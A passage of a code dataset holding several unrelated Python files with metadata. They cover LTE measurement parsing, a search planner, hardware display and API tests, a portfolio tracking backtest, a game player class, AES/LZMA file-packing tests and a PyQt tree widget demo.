self.item_dicts.append(item_dict)\n\n def _filter_by_neighbor_len(self, length):\n return list(filter(lambda x: True if len(x['NeighborList'])==length else False, self.item_dicts))\n\n def _map_neighbor_rsrp_diff(self, index):\n measureList=self._filter_by_neighbor_len(index)\n if len(measureList)==0:\n return []\n return list(map(lambda item: {\n 'CellId': item['id'],\n 'NeighborPci': item['NeighborList'][index-1]['Pci'],\n 'RsrpDiff': item['Rsrp']-item['NeighborList'][index-1]['Rsrp'],\n 'Rsrp': item['Rsrp'],\n 'Pci': item['Pci'],\n 'Ta': item['Ta'],\n 'SinrUl': item['SinrUl']\n }, measureList))\n\n def map_rsrp_diff(self):\n diff_list=list(map(lambda index: self._map_neighbor_rsrp_diff(index+1), list(range(6))))\n combined_list=reduce(lambda first,second: first+second,diff_list,[])\n if len(combined_list)==0:\n return []\n stat_list=list(map(lambda item: {\n 'CellId': item['CellId'],\n 'NeighborPci': item['NeighborPci'],\n 'Pci': item['Pci'],\n 'Diff0': 1 if item['RsrpDiff']<=0 else 0,\n 'Diff3': 1 if item['RsrpDiff']<=3 and item['RsrpDiff']>0 else 0,\n 'Diff6': 1 if item['RsrpDiff']<=6 and item['RsrpDiff']>3 else 0,\n 'Diff9': 1 if item['RsrpDiff']<=9 and item['RsrpDiff']>6 else 0,\n 'Diff12': 1 if item['RsrpDiff']<=12 and item['RsrpDiff']>9 else 0,\n 'DiffLarge': 1 if item['RsrpDiff']>12 else 0,\n 'RsrpBelow120': 1 if item['Rsrp']<20 else 0,\n 'RsrpBetween120110': 1 if item['Rsrp']<30 and item['Rsrp']>=20 else 0,\n 'RsrpBetween110105': 1 if item['Rsrp']<35 and item['Rsrp']>=30 else 0,\n 'RsrpBetween105100': 1 if item['Rsrp']<40 and item['Rsrp']>=35 else 0,\n 'RsrpBetween10090': 1 if item['Rsrp']<50 and item['Rsrp']>=40 else 0,\n 'RsrpAbove90': 1 if item['Rsrp']>=50 else 0,\n 'Ta0or1': 1 if item['Ta']==0 or item['Ta']==1 else 0,\n 'Ta2or3': 1 if item['Ta']==2 or item['Ta']==3 else 0,\n 'Ta4or5': 1 if item['Ta']==4 or item['Ta']==5 else 0,\n 'Ta6or7': 1 if item['Ta']==6 or item['Ta']==7 else 0,\n 'Ta8or9': 1 if item['Ta']==8 or item['Ta']==9 else 0,\n 'Ta10to12': 1 if item['Ta']>=10 and item['Ta']<=12 else 0,\n 'Ta13to15': 1 if item['Ta']>=13 and item['Ta']<=15 else 0,\n 'Ta16to19': 1 if item['Ta']>=16 and item['Ta']<=19 else 0,\n 'Ta20to24': 1 if item['Ta']>=20 and item['Ta']<=24 else 0,\n 'Ta25to29': 1 if item['Ta']>=25 and item['Ta']<=29 else 0,\n 'Ta30to39': 1 if item['Ta']>=30 and item['Ta']<=39 else 0,\n 'TaAbove40': 1 if item['Ta']>=40 else 0,\n 'SinrUl0to9': 1 if item['SinrUl']>=0 and item['SinrUl']<=9 else 0,\n 'SinrUl10to19': 1 if item['SinrUl']>=10 and item['SinrUl']<=19 else 0,\n 'SinrUl20to24': 1 if item['SinrUl']>=20 and item['SinrUl']<=24 else 0,\n 'SinrUl25to29': 1 if item['SinrUl']>=25 and item['SinrUl']<=29 else 0,\n 'SinrUl30to34': 1 if item['SinrUl']>=30 and item['SinrUl']<=34 else 0,\n 'SinrUlAbove35': 1 if item['SinrUl']>=35 else 0\n }, combined_list))\n df = DataFrame(stat_list)\n stat=df.groupby(['CellId','Pci','NeighborPci']).sum().reset_index()\n return json.loads(stat.T.to_json()).values()\n\nclass MrsReader:\n def __init__(self, mrNames, startTime, date_dir, db, **kwargs):\n self.mrNames=mrNames\n self.startTime=startTime\n self.date_dir=date_dir\n self.db=db\n return super().__init__(**kwargs)\n\n def read(self, item_measurement):\n mrName=item_measurement.attrib['mrName'].replace('MR.','')\n if mrName in self.mrNames:\n item_dicts=[]\n for item_element in item_measurement.iterchildren():\n if item_element.tag == 'smr':\n item_key = item_element.text.replace('MR.', '').replace('.','_').split(' ')\n else:\n item_dict={}\n item_dict.update({'CellId': item_element.attrib['id']})\n item_value = item_element[0].text.split(' ')\n item_dict.update(dict(zip(item_key, map(int, item_value))))\n item_dict.update({'StartTime': self.startTime})\n item_dicts.append(item_dict)\n if len(item_dicts)>0:\n self.db['mrs_'+mrName+'_'+self.date_dir].insert_many(item_dicts)\n\n def read_zte(self, item_measurement, eNodebId):\n mrName=item_measurement.attrib['mrName'].replace('MR.','')\n if mrName in self.mrNames:\n item_dicts=[]\n for item_element in item_measurement.iterchildren():\n if item_element.tag == 'smr':\n item_key = item_element.text.replace('MR.', '').replace('.','_').split(' ')\n else:\n item_dict={}\n item_dict.update({'CellId': eNodebId+'-'+item_element.attrib['MR.objectId']})\n item_value = item_element[0].text.split(' ')\n item_dict.update(dict(zip(item_key, map(int, item_value))))\n item_dict.update({'StartTime': self.startTime})\n item_dicts.append(item_dict)\n if len(item_dicts)>0:\n self.db['mrs_'+mrName+'_'+self.date_dir].insert_many(item_dicts)","sub_path":"Lte.Auxilary/mr/mr_service.py","file_name":"mr_service.py","file_ext":"py","file_size_in_byte":9319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"630662295","text":"import math\n\nfrom latale.planner.Searcher import Searcher\nfrom latale.planner.State import State, OPEN, CLOSED\nfrom latale.planner.ReconstructionGoalDetection import ReconstructionGoalDetection\n\n\nclass GBFS(Searcher, ReconstructionGoalDetection):\n def __init__(self, oae, pruning_methods, available_actions, sae, image_threshold):\n Searcher.__init__(self, oae, pruning_methods, available_actions)\n ReconstructionGoalDetection.__init__(self, sae, image_threshold)\n self.N = None\n\n def search(self, init, goal, distance):\n self.N = len(init)\n\n def heuristic(x):\n return distance(x, goal)\n\n _init = State(init, g=0, h=heuristic(init))\n\n self.open_list.put((_init.h, _init.hash()))\n self.close_list[_init.hash()] = _init\n\n best_h = math.inf\n while True:\n if self.open_list.empty():\n raise Exception(\"Open list is empty!\")\n h, s_hash = self.open_list.get()\n state = self.close_list[s_hash]\n if state.status == CLOSED:\n continue\n\n state.status = CLOSED\n\n if best_h > h:\n best_h = h\n print(\"new h = {}\".format(h))\n\n if self.goalp(state.state, goal):\n yield state\n else:\n print(\"Expanding state [{}].\".format(s_hash))\n for c in self.successors(state):\n new_g = state.g + 1\n if c.g > new_g and c.status == OPEN:\n c.g = new_g\n c.parent = state\n c.status = OPEN\n c.h = heuristic(c.state)\n self.open_list.put((c.h, c.hash()))\n","sub_path":"latale/latale/planner/GBFS.py","file_name":"GBFS.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"620904715","text":"import tm1637\nfrom time import sleep\n\ndisplay = tm1637.TM1637(CLK=20,DIO=21,brightness=7)\n\ndisplay.Clear()\n\n#a=b=c=d=0\n\n#data = [a,b,c,d]\n\n#display.Show(data)\n#n=20\ni=0\nn=60\n\nfor i in range(n):\n display.ShowRoute(i%6)\n sleep(0.05)\n\n\n#while True:\n# d=int(i%10)\n# c=int(i/10)\n# c=int(c%10)\n# b=int(i/100)\n# b=int(b%10)\n# a=int(i/1000)\n# a=int(a%10)\n# sleep(0.1)\n# data = [a,b,c,d]\n# display.Show(data)\n# i+=1","sub_path":"tm1637/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"411078685","text":"# Importamos los módulos y bibliotecas necesarios para realizar este programa\nimport http.client\nimport json\n\n# Empleamos un código que utiliza la biblioteca http.client que hemos importado para leer repositorios\nheaders = {'User-Agent': 'http-client'}\nconn = http.client.HTTPSConnection(\"api.fda.gov\")\nconn.request(\"GET\", \"/drug/label.json?limit=10\", None, headers) # Con limit=10 encontraremos 10 medicamentos distintos\nr1 = conn.getresponse()\nprint(r1.status, r1.reason)\nrepos_raw = r1.read().decode(\"utf-8\")\nconn.close()\ninformacion = json.loads(repos_raw)\n\n# sabemos que en la página a la que accedemos el contenido es json y json se encuentra en forma de diccionario por tanto utilizamos las funciones de un diccionario para encontrar los diferentes elementos\nmedicamento_info=informacion[\"results\"]\n\n# Indexamos entre los distintos elementos de la página para imprimir los diez que hay en ella\nfor i in range(len(medicamento_info)):\n info = medicamento_info[i]\n print(\"Id del medicamento:\",info[\"id\"])\n","sub_path":"openfda-1/Programa 2.py","file_name":"Programa 2.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"4928489","text":"# -*- coding: utf-8 -*-\n#%% NumPyの読み込み\nimport numpy as np\n# SciPyのstatsモジュールの読み込み\nimport scipy.stats as st\n# CVXPYの読み込み\nimport cvxpy as cvx\n# Pandasの読み込み\nimport pandas as pd\n# MatplotlibのPyplotモジュールの読み込み\nimport matplotlib.pyplot as plt\n# 日本語フォントの設定\nfrom matplotlib.font_manager import FontProperties\nimport sys\nif sys.platform.startswith('win'):\n FontPath = 'C:\\\\Windows\\\\Fonts\\\\meiryo.ttc'\nelif sys.platform.startswith('darwin'):\n FontPath = '/System/Library/Fonts/ヒラギノ角ゴシック W4.ttc'\nelif sys.platform.startswith('linux'):\n FontPath = '/usr/share/fonts/truetype/takao-gothic/TakaoPGothic.ttf'\njpfont = FontProperties(fname=FontPath)\n#%% 収益率データの読み込みとベンチマークの生成\nR = pd.read_csv('asset_return_data.csv', index_col=0)\n# R = R.asfreq(pd.infer_freq(R.index)) # この行は無視する\nT = R.shape[0]\nN = R.shape[1]\nnp.random.seed(8888)\nBenchmarkIndex = R.dot(np.tile(1.0/N, N)) + st.norm(0.0, 3.0).rvs(T)\n#%% トラッキングエラー最小化問題のバックテスト\nMovingWindow = 96\nBackTesting = T - MovingWindow\nV_Tracking = np.zeros(BackTesting)\nWeight = cvx.Variable(N)\nError = cvx.Variable(MovingWindow)\nTrackingError = cvx.sum_squares(Error)\nAsset_srT = R / np.sqrt(MovingWindow)\nIndex_srT = BenchmarkIndex / np.sqrt(MovingWindow)\nfor Month in range(0, BackTesting):\n Asset = Asset_srT.values[Month:(Month + MovingWindow), :]\n Index = Index_srT.values[Month:(Month + MovingWindow)]\n Min_TrackingError = cvx.Problem(cvx.Minimize(TrackingError),\n [Index - Asset @ Weight == Error,\n cvx.sum(Weight) == 1.0,\n Weight >= 0.0])\n Min_TrackingError.solve(solver=cvx.ECOS)\n V_Tracking[Month] = R.values[Month + MovingWindow, :].dot(Weight.value)\n#%% バックテストの結果のグラフ\nfig1 = plt.figure(1, facecolor='w')\nplt.plot(list(range(1, BackTesting + 1)), BenchmarkIndex[MovingWindow:], 'k-')\nplt.plot(list(range(1, BackTesting + 1)), V_Tracking, 'k--')\nplt.legend([u'ベンチマーク・インデックス', u'インデックス・ファンド'],\n loc='best', frameon=False, prop=jpfont)\nplt.xlabel(u'運用期間(年)', fontproperties=jpfont)\nplt.ylabel(u'収益率(%)', fontproperties=jpfont)\nplt.xticks(list(range(12, BackTesting + 1, 12)),\n pd.date_range(R.index[MovingWindow], periods=BackTesting//12,\n freq='AS').year)\nplt.show()\n","sub_path":"python/pyfin_min_tracking_error_ver1_1.py","file_name":"pyfin_min_tracking_error_ver1_1.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"582931582","text":"#!/usr/bin/env python\nimport random\n\ncities=\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n#cities=\"ABCDEFGHIJKLMNOP\"\n\ncost_min=1\ncost_max=99\n\nn=len(cities)\n\nprint(n,n*100)\n\nprint(\" \".join(cities))\n\ncost=[ [ 0 for x in range(n) ] for y in range(n) ]\n\nfor i in range(0,n):\n for j in range(i+1,n):\n cost[i][j] = int(random.randint(cost_min,cost_max))\n cost[j][i] = cost[i][j]\n\nfor i in range(0,n):\n line=[]\n for j in range(0,n):\n if i==j:\n line.append(\"-\")\n else:\n line.append(str(cost[i][j]))\n print(\" \".join(line))\n\n","sub_path":"A2/gen_instance.py","file_name":"gen_instance.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"641210815","text":"from Actor import *\n\nclass Player(Actor):\n\tdef __init__(self, offset_x, offset_y, actor_type, collision_type, threat_level):\n\t\tActor.__init__(self, offset_x, offset_y, actor_type, collision_type)\n\n\t\t# The threat level that the player will start from\n\t\tself.threat_level = threat_level\n\n\t\t# Health of the player\n\t\tself.health = 75\n\n\t\t# Stamina of the player\n\t\tself.stamina = 100\n\n\t\t# Skills that the player has\n\t\tself.strength_exp = 0\n\t\tself.intelligence_exp = 0\n\t\tself.charisma_exp = 0\n\n\t\tself.strength_level = 1\n\t\tself.intelligence_level = 1\n\t\tself.charisma_level = 1\n\n\t\t# Amount of currency that the player has\n\t\tself.currency = 1\n\n\t\t# Inventory list\n\t\tself.inventory = [None]*5\n\n\t\t# camera\n\t\tself.camera_pos = (self.rect.x/4, -self.rect.y/4) # Create Camara Starting Position\n\n\tdef increase_exp(self, skill, amount):\n\t\tif skill == STRENGTH_SKILL:\n\t\t\tself.strength_exp += amount\n\t\t\texp_to_level = self.amount_to_increase_level(skill, self.strength_level)\n\t\t\tif self.strength_exp >= exp_to_level:\n\t\t\t\tself.strength_level += 1\n\t\t\t\tself.strength_exp = self.strength_exp - exp_to_level\n\t\tif skill == INTELLIGENCE_SKILL:\n\t\t\t\tself.intelligence_exp += amount\n\t\t\t\texp_to_level = self.amount_to_increase_level(skill, self.intelligence_level)\n\t\t\t\tif self.intelligence_exp >= exp_to_level:\n\t\t\t\t\tself.intelligence_level += 1\n\t\t\t\t\tself.intelligence_exp = self.intelligence_exp - exp_to_level\n\t\tif skill == CHARISMA_SKILL:\n\t\t\tself.charisma_exp += amount\n\t\t\texp_to_level = self.amount_to_increase_level(skill, self.charisma_level)\n\t\t\tif self.charisma_exp >= exp_to_level:\n\t\t\t\tself.charisma_level += 1\n\t\t\t\tself.charisma_exp = self.charisma_exp - exp_to_level\n\n\tdef amount_to_increase_level(self, skill, level):\n\t\tif skill == STRENGTH_SKILL:\n\t\t\tcurrent_exp = self.strength_exp\n\t\tif skill == INTELLIGENCE_SKILL:\n\t\t\tcurrent_exp = self.intelligence_exp\n\t\tif skill == CHARISMA_SKILL:\n\t\t\tcurrent_exp = self.charisma_exp\n\n\t\tnext_level_exp = level**2 * level + 100\n\t\treturn next_level_exp\n\n\tdef get_stat(self, stat):\n\t\tif stat == HEALTH:\n\t\t\treturn self.health\n\t\tif stat == STAMINA:\n\t\t\treturn self.stamina\n\n\tdef get_inventory(self):\n\t\treturn self.inventory\n\n\tdef get_ramen(self):\n\t\treturn self.currency\n\n\tdef add_item(self, item):\n\t\tfor i in range(0, len(self.inventory)):\n\t\t\tif self.inventory[i] == None:\n\t\t\t\tself.inventory[i] = item\n\t\t\t\titems_group.remove(item)\n\t\t\t\tbreak\n\n\tdef drop_item(self, index):\n\t\tif self.inventory[index] != None:\n\t\t\titem = self.inventory[index]\n\t\t\titem.rect.x = ((self.rect.x+self.rect.width/2)/TILESIZE * TILESIZE)\n\t\t\titem.rect.y = ((self.rect.y+self.rect.height/2)/TILESIZE * TILESIZE)\n\t\t\titems_group.add(item)\n\t\t\tself.inventory[index] = None\n\n\tdef get_skill(self, skill, exp):\n\t\tif exp:\n\t\t\tif skill == STRENGTH_SKILL:\n\t\t\t\treturn self.strength_exp\n\t\t\telif skill == INTELLIGENCE_SKILL:\n\t\t\t\treturn self.intelligence_exp\n\t\t\telif skill == CHARISMA_SKILL:\n\t\t\t\treturn self.charisma_exp\n\t\telse:\n\t\t\tif skill == STRENGTH_SKILL:\n\t\t\t\treturn self.strength_level\n\t\t\telif skill == INTELLIGENCE_SKILL:\n\t\t\t\treturn self.intelligence_level\n\t\t\telif skill == CHARISMA_SKILL:\n\t\t\t\treturn self.charisma_level\n\n\t# Works Nicely\n\tdef update(self, move, direction):\n\t\tself.direction = direction\n\t\tif move == True:\n\t\t\tself.count += 1\n\t\t\tif self.count % self.change_timer == 0:\n\t\t\t\tself.index += 1\n\t\t\tif self.index >= len(self.direction_map[direction]):\n\t\t\t\tself.index = 1\n\t\t\tself.current_image = self.direction_map[direction][self.index]\n\t\t\tif direction == UP:\n\t\t\t\tself.move(0, -self.speed)\n\t\t\t\tself.move_camera(UP)\n\t\t\tif direction == DOWN:\n\t\t\t\tself.move(0, self.speed)\n\t\t\t\tself.move_camera(DOWN)\n\t\t\tif direction == LEFT:\n\t\t\t\tself.move(-self.speed, 0)\n\t\t\t\tself.move_camera(LEFT)\n\t\t\tif direction == RIGHT:\n\t\t\t\tself.move(self.speed, 0)\n\t\t\t\tself.move_camera(RIGHT)\n\t\telse:\n\t\t\tself.index = 0\n\t\t\tself.count = 0\n\t\t\tself.current_image = self.direction_map[direction][self.index]\n\n\tdef move(self, dx, dy):\n\t\tif dx != 0:\n\t\t\tself.move_single_axis(dx, 0)\n\t\tif dy != 0:\n\t\t\tself.move_single_axis(0, dy)\n\n\tdef move_single_axis(self, dx, dy):\n\t\t# Move the rect\n\t\tself.rect.x += dx\n\t\tself.rect.y += dy\n\n\t\tfor other_object in self.collision_list:\n\t\t\tif self.rect.colliderect(other_object) and other_object.collision_type == BLOCKING:\n\t\t\t\tpos_x, pos_y = self.camera_pos\n\t\t\t\tif dx > 0: # Moving right; Hit the left side of the object\n\t\t\t\t\tself.rect.right = other_object.rect.left\n\t\t\t\t\t# Code for the camera\n\t\t\t\t\tif other_object.get_direction() == RIGHT:\n\t\t\t\t\t\tpos_x += self.speed - other_object.get_speed()\n\t\t\t\t\telse:\n\t\t\t\t\t\tpos_x += self.speed\n\t\t\t\tif dx < 0: # Moving left; Hit the right side of the object\n\t\t\t\t\tself.rect.left = other_object.rect.right\n\t\t\t\t\t# Code for the camera\n\t\t\t\t\tif other_object.get_direction() == LEFT:\n\t\t\t\t\t\tpos_x -= self.speed - other_object.get_speed()\n\t\t\t\t\telse:\n\t\t\t\t\t\tpos_x -= self.speed\n\t\t\t\tif dy > 0: # Moving down; Hit the top side of the object\n\t\t\t\t\tself.rect.bottom = other_object.rect.top\n\t\t\t\t\t# Code for the camera\n\t\t\t\t\tif other_object.get_direction() == DOWN:\n\t\t\t\t\t\tpos_y += self.speed - other_object.get_speed()\n\t\t\t\t\telse:\n\t\t\t\t\t\tpos_y += self.speed\n\t\t\t\tif dy < 0: # Moving up; Hit the bottom side of the object\n\t\t\t\t\tself.rect.top = other_object.rect.bottom\n\t\t\t\t\tif other_object.get_direction() == UP:\n\t\t\t\t\t\tpos_y -= self.speed - other_object.get_speed()\n\t\t\t\t\telse:\n\t\t\t\t\t\tpos_y -= self.speed\n\n\t\t\t\tself.camera_pos = (pos_x, pos_y)\n\n\n\tdef move_camera(self, direction):\n\n\t pos_x,pos_y = self.camera_pos # Split camara_pos\n\n\t if direction == UP: # Check Key\n\t pos_y += self.speed # Move Camara Coord Against Player Rect\n\t if direction == RIGHT:\n\t pos_x -= self.speed\n\t if direction == DOWN:\n\t pos_y -= self.speed\n\t if direction == LEFT:\n\t pos_x += self.speed\n\n\t self.camera_pos = (pos_x,pos_y) # Return New Camera Pos\n\n\tdef collided(self, other):\n\t\tdelta_x = other.rect.x - self.rect.x\n\t\tdelta_y = other.rect.y - self.rect.y\n\n\t\tif abs(delta_x) < TILESIZE+1 and abs(delta_y) < TILESIZE+1:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\tdef interact(self, flag):\n\t\tif flag:\n\t\t\tfor interaction in interactable_group:\n\t\t\t\tif self.collided(interaction):\n\t\t\t\t\tinteraction.perform_action(self)\n\t\t\tfor item in items_group:\n\t\t\t\tif self.collided(item):\n\t\t\t\t\tself.add_item(item)\n\t\t\t\t\titems_group.remove(item)\n","sub_path":"Phase2/Classes/Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":6231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"412269518","text":"# -*- coding: utf-8 -*-\n\nimport base64\nfrom Crypto.Cipher import AES\nfrom Crypto import Random\nfrom Crypto.Hash import SHA256\nimport pylzma\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath('./encrepo'))\nimport hash_helper\nimport pack\nimport time\n\nBS = 32\nAES_KEY_SIZE = 32 #Key is 256 bit\npad = lambda s : s if len(s) % AES_KEY_SIZE == 0 else \\\n s + (AES_KEY_SIZE - len(s) % AES_KEY_SIZE) \\\n * chr(AES_KEY_SIZE - len(s) % AES_KEY_SIZE)\n\nunpad = lambda s : s if len(s) % AES_KEY_SIZE == 0 else \\\n s[:-ord(s[len(s)-1])]\n\nclass AESCipher:\n def __init__( self, key ):\n self.key = key\n\n def encrypt( self, raw ):\n raw = pad(raw)\n iv = Random.new().read( AES.block_size )\n cipher = AES.new( self.key, AES.MODE_CBC, iv )\n return base64.b64encode( iv + cipher.encrypt( raw ) )\n\n def decrypt( self, enc ):\n enc = base64.b64decode(enc)\n iv = enc[:16]\n cipher = AES.new(self.key, AES.MODE_CBC, iv )\n return unpad(cipher.decrypt( enc[16:] ))\n\nraw_info = \"\"\"awsome text goes here,\n U cannot see me,\n One good turn deserves another\"\"\"\n\nwith open('/home/xin/iprule') as input_file:\n raw_info = input_file.read()\n\nkey = 'abcdefghijklmnopqrstuvwxyz123456'\n\n\nkey = pad(key)\n\nAES_KEY = 'asdfas2\"%H:%M:%'\n\ndef test_compressed():\n print(\"key=%s length:%d\"%(key,len(key)))\n print(\"Original length of data:%d\"%len(raw_info))\n\n raw_hash = hash_helper.hash_str(raw_info)\n print(\"Original hash:%s\"%raw_hash)\n h = SHA256.new()\n h.update(raw_info)\n print(\"Original hashA:%s\"%h.hexdigest())\n\n\n compressed_info = pylzma.compress(raw_info)\n\n print(\"compressed length of data:%d\"%len(compressed_info))\n\n\n cf = AESCipher(key)\n encrypted = cf.encrypt(compressed_info)\n decrypted = cf.decrypt(encrypted)\n print(\"encrypted length of data:%d\"%len(encrypted))\n decompressed = pylzma.decompress(decrypted)\n print(\"Decrypted hash:%s\"%hash_helper.hash_str(decompressed))\n\n\n\n\ndef test_run1():\n print(\"Original length of data:%d\"%len(raw_info))\n raw_hash = hash_helper.hash_str(raw_info)\n print(\"Original hash:%s\"%raw_hash)\n\n cf = AESCipher(key)\n encrypted = cf.encrypt(raw_info)\n print(\"length of encrypted data:%d\"%len(encrypted))\n compressed_info = pylzma.compress(encrypted)\n print(\"compressed length of encrypted data:%d\"%len(compressed_info))\n\n decompressed = pylzma.decompress(compressed_info)\n decrypted = cf.decrypt(decompressed)\n print(\"Decrypted hash:%s\"%hash_helper.hash_str(decrypted))\n\n\ndef test_run2():\n info = \"the red fox jumps over the lazy dog\\n\"\n more_info = lambda i : '' if i ==0 else \\\n more_info(i-1) + 'Line {0:10d} : {1}'.format(i, info) * 100\n with open('/tmp/test.txt','w') as afile:\n afile.write(more_info(100))\n t0 = time.time()\n print(t0)\n t1 = t0\n t2 = t1\n print('{0}:....total={1:20f}, step={2:20f}'.format(\n time.strftime(\"%H:%M:%S\", time.localtime(t0)),\n t2 - t0,\n t2 - t1))\n\ndef noautorun_test_pack_large():\n t0 = time.time()\n print(t0)\n t1 = t0\n t2 = t1\n\n print('{0}:....total={1:12f}, step={2:12f}..starting'.format(\n time.strftime(\"%H:%M:%S\", time.localtime(t0)),\n t2 - t0,\n t2 - t1))\n\n #test_file = '/tmp/Inside.Out.2015.BD1080P.X264.AAC.English&Mandarin.CHS-ENG.Mp4Ba.mp4'\n test_file = '/home/xin/下载/头脑特工队.Inside.Out.2015.BD1080P.X264.AAC.English&Mandarin.CHS-ENG.Mp4Ba.mp4'\n with open(test_file) as afile:\n dgst_original = hash_helper.hash_file(afile)\n #dgst_original ='370cbba5943b5ba6ab868e9f0e098d8ccb8aa5f7396f82ebe22ac6a072c001f8'\n print(\"Original SHA256:%s\"%dgst_original)\n t2 = time.time()\n print('{0}:....total={1:12f}, step={2:12f}..dgst original'.format(\n time.strftime(\"%H:%M:%S\", time.localtime(t0)),\n t2 - t0,\n t2 - t1))\n t1 = t2\n packed_file_name = '/tmp/Inside.Out.2015.BD1080P.X264.AAC.English&Mandarin.CHS-ENG.Mp4Ba.mp4.pack'\n unpacked_file_name = '/tmp/Inside.Out.2015.BD1080P.X264.AAC.English&Mandarin.CHS-ENG.Mp4Ba.unpack.mp4'\n pack.pack_file(AES_KEY, test_file, packed_file_name)\n t2 = time.time()\n print('{0}:....total={1:12f}, step={2:12f}..packing..'.format(\n time.strftime(\"%H:%M:%S\", time.localtime(t0)),\n t2 - t0,\n t2 - t1))\n t1 = t2\n pack.unpack_file(AES_KEY, packed_file_name, unpacked_file_name)\n t2 = time.time()\n print('{0}:....total={1:12f}, step={2:12f}..Unpacking..'.format(\n time.strftime(\"%H:%M:%S\", time.localtime(t0)),\n t2 - t0,\n t2 - t1))\n t1 = t2\n with open(unpacked_file_name) as newfile:\n dgst_new = hash_helper.hash_file(newfile)\n\n\n t2 = time.time()\n print('{0}:....total={1:12f}, step={2:12f}..dgst result..'.format(\n time.strftime(\"%H:%M:%S\", time.localtime(t0)),\n t2 - t0,\n t2 - t1))\n t1 = t2\n print(\"New SHA256:%s\"%dgst_new)\n assert dgst_original == dgst_new\n\ndef noautorun_test_pad():\n with open('/tmp/3.mp4') as afile:\n s = afile.read()\n print(hash_helper.hash_str(s))\n encrypted = pack.encrypt(AES_KEY, s)\n decrypted = pack.decrypt1(AES_KEY, encrypted)\n print(hash_helper.hash_str(decrypted))\n print(unpad(hash_helper.hash_str(decrypted)))\n\ndef split_file_writer(file_name, split_size=32):\n file_size = split_size * 2 ** 20\n sum_len = [0]\n def write_file(buf):\n sum_len[0] += len(buf)\n file_no = sum_len[0] // file_size\n new_filename = file_name if file_no==0 else file_name+'.'+('0000'+str(file_no))[-4:]\n with open(new_filename,'a') as afile:\n afile.write(buf)\n return write_file\n\n\ndef split_file_reader(file_name):\n files = [open(file_name,'r')]\n file_no = [0]\n def read_file(buf_size):\n buf = files[0].read(buf_size)\n if len(buf) == 0:\n file_no[0] += 1\n files[0].close()\n try:\n files[0] = open(file_name+'.'+('0000'+str(file_no[0]))[-4:])\n return read_file(buf_size)\n except IOError:\n return ''\n else:\n return buf\n return read_file\n\ndef tester_split():\n original_file_name = '/home/xin/下载/头脑特工队.Inside.Out.2015.BD1080P.X264.AAC.English&Mandarin.CHS-ENG.Mp4Ba.mp4'\n splited_file_name = '/tmp/new/inside.out.mp4'\n recombined_file_name = '/tmp/inside.out.recombined.mp4'\n writer = split_file_writer(splited_file_name)\n\n with open(original_file_name) as afile:\n buf = afile.read(65536)\n while len(buf) >0 :\n writer(buf)\n buf = afile.read(65536)\n\ndef tester_combine():\n original_file_name = '/home/xin/下载/头脑特工队.Inside.Out.2015.BD1080P.X264.AAC.English&Mandarin.CHS-ENG.Mp4Ba.mp4'\n splited_file_name = '/tmp/new/inside.out.mp4'\n recombined_file_name = '/tmp/inside.out.recombined.mp4'\n reader = split_file_reader(splited_file_name)\n with open(recombined_file_name,'w') as afile:\n buf = reader(65536)\n while len(buf)>0:\n afile.write(buf)\n buf = reader(65536)\n\n dgst1 = hash_helper.hash_file(open(original_file_name))\n dgst2 = hash_helper.hash_file(open(recombined_file_name))\n\n assert dgst1 == dgst2\n\n\ntester_combine()\n","sub_path":"encrypted_file_repo/test/test_run.py","file_name":"test_run.py","file_ext":"py","file_size_in_byte":7461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"620220901","text":"import sys, subprocess\nfrom PyQt5.QtWidgets import QWidget, QVBoxLayout, QHBoxLayout, QTreeWidget, QTreeWidgetItem, QGroupBox, QPushButton, QApplication\nfrom PyQt5 import QtCore\n\nclass MyApp(object): \n def __init__(self):\n super(MyApp, self).__init__() \n self.mainWidget = QWidget()\n self.mainLayout = QVBoxLayout()\n self.mainWidget.setLayout(self.mainLayout)\n\n self.hLayout = QHBoxLayout()\n self.mainLayout.insertLayout(0, self.hLayout)\n\n\n self.listA=QTreeWidget()\n self.listA.setColumnCount(3)\n self.listA.setHeaderLabels(['Checkbox','Name','Data'])\n for i in range(3):\n item=QTreeWidgetItem()\n item.setCheckState(0, 2)\n item.setText(1, 'Item '+str(i))\n item.setData(2, 256, id(item) )\n item.setText(2, str(id(item) ) )\n self.listA.addTopLevelItem(item)\n\n self.hLayout.addWidget(self.listA)\n\n self.buttonGroupbox = QGroupBox()\n self.buttonlayout = QVBoxLayout()\n self.buttonGroupbox.setLayout(self.buttonlayout)\n\n okButton = QPushButton('Remove Selected')\n okButton.clicked.connect(self.removeSel)\n self.buttonlayout.addWidget(okButton)\n\n getDataButton = QPushButton('Get Items Data')\n getDataButton.clicked.connect(self.getItemsData)\n self.buttonlayout.addWidget(getDataButton)\n\n self.mainLayout.addWidget(self.buttonGroupbox)\n self.mainWidget.show()\n sys.exit(app.exec_())\n\n def removeSel(self):\n listItems = []\n for i in range(self.listA.topLevelItemCount()):\n item=self.listA.topLevelItem(i)\n print(\"item\", item)\n if (item.checkState(0) == 2):\n listItems.append(item)\n\n print(\"listItems: \",listItems)\n\n for item in listItems:\n print(\"item: \", item)\n itemIndex=self.listA.indexOfTopLevelItem(item)\n print(\"itemIndex\", itemIndex)\n self.listA.takeTopLevelItem(itemIndex)\n print('\\n\\t Number of items remaining', self.listA.topLevelItemCount())\n\n def getItemsData(self):\n for i in range(self.listA.topLevelItemCount()):\n item=self.listA.topLevelItem(i)\n itmData=item.data(2, 256)\n print('\\n\\t Item Id Stored as Item 